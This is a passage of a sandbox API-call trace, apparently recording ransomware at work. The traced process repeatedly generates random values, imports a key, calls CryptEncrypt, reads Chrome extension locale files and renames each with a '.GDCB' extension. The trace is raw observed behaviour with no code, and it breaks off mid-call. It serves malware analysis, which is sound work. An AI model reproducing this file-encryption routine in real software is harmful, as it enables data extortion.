1 [0266.510] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.511] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.513] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795e20) returned 1 [0266.513] CryptGetKeyParam (in: hKey=0x6795e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.513] CryptEncrypt (in: hKey=0x6795e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.513] GetLastError () returned 0x0 [0266.513] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.513] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.515] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ea0) returned 1 [0266.515] CryptGetKeyParam (in: hKey=0x6795ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.515] CryptEncrypt (in: hKey=0x6795ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.515] GetLastError () returned 0x0 [0266.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.515] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.516] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.519] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.521] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc1, lpOverlapped=0x0) returned 1 [0266.530] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.536] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0266.541] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.547] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.547] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.547] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.547] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.554] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.554] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.554] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.557] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795be0) returned 1 [0266.557] CryptGetKeyParam (in: hKey=0x6795be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.557] CryptEncrypt (in: hKey=0x6795be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.557] GetLastError () returned 0x0 [0266.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.557] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.559] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795c20) returned 1 [0266.559] CryptGetKeyParam (in: hKey=0x6795c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.559] CryptEncrypt (in: hKey=0x6795c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.559] GetLastError () returned 0x0 [0266.559] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.559] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.563] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.565] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x12a, lpOverlapped=0x0) returned 1 [0266.575] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.580] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0266.592] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.597] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.597] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.597] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.597] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.601] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.601] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.602] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.604] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795e60) returned 1 [0266.604] CryptGetKeyParam (in: hKey=0x6795e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.604] CryptEncrypt (in: hKey=0x6795e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.604] GetLastError () returned 0x0 [0266.604] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.604] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.606] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ee0) returned 1 [0266.606] CryptGetKeyParam (in: hKey=0x6795ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.606] CryptEncrypt (in: hKey=0x6795ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.606] GetLastError () returned 0x0 [0266.606] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.606] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.608] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.610] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.612] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb2, lpOverlapped=0x0) returned 1 [0266.621] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.628] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0266.633] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.636] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.638] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.638] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.638] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.642] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.643] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.643] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.645] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796060) returned 1 [0266.645] CryptGetKeyParam (in: hKey=0x6796060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.645] CryptEncrypt (in: hKey=0x6796060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.645] GetLastError () returned 0x0 [0266.645] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.645] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.647] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795c60) returned 1 [0266.647] CryptGetKeyParam (in: hKey=0x6795c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.647] CryptEncrypt (in: hKey=0x6795c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.647] GetLastError () returned 0x0 [0266.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.647] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.648] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.651] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.654] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x109, lpOverlapped=0x0) returned 1 [0266.662] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.668] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0266.673] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.676] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.678] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.678] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.678] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.683] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.683] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.683] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.686] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795f20) returned 1 [0266.686] CryptGetKeyParam (in: hKey=0x6795f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.686] CryptEncrypt (in: hKey=0x6795f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.686] GetLastError () returned 0x0 [0266.686] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.686] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.688] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795fa0) returned 1 [0266.688] CryptGetKeyParam (in: hKey=0x6795fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.688] CryptEncrypt (in: hKey=0x6795fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.688] GetLastError () returned 0x0 [0266.689] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.689] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.692] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.695] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcc, lpOverlapped=0x0) returned 1 [0266.704] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.710] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0266.716] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.720] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.722] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.723] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.727] GetProcAddress (hModule=0x74c90000, 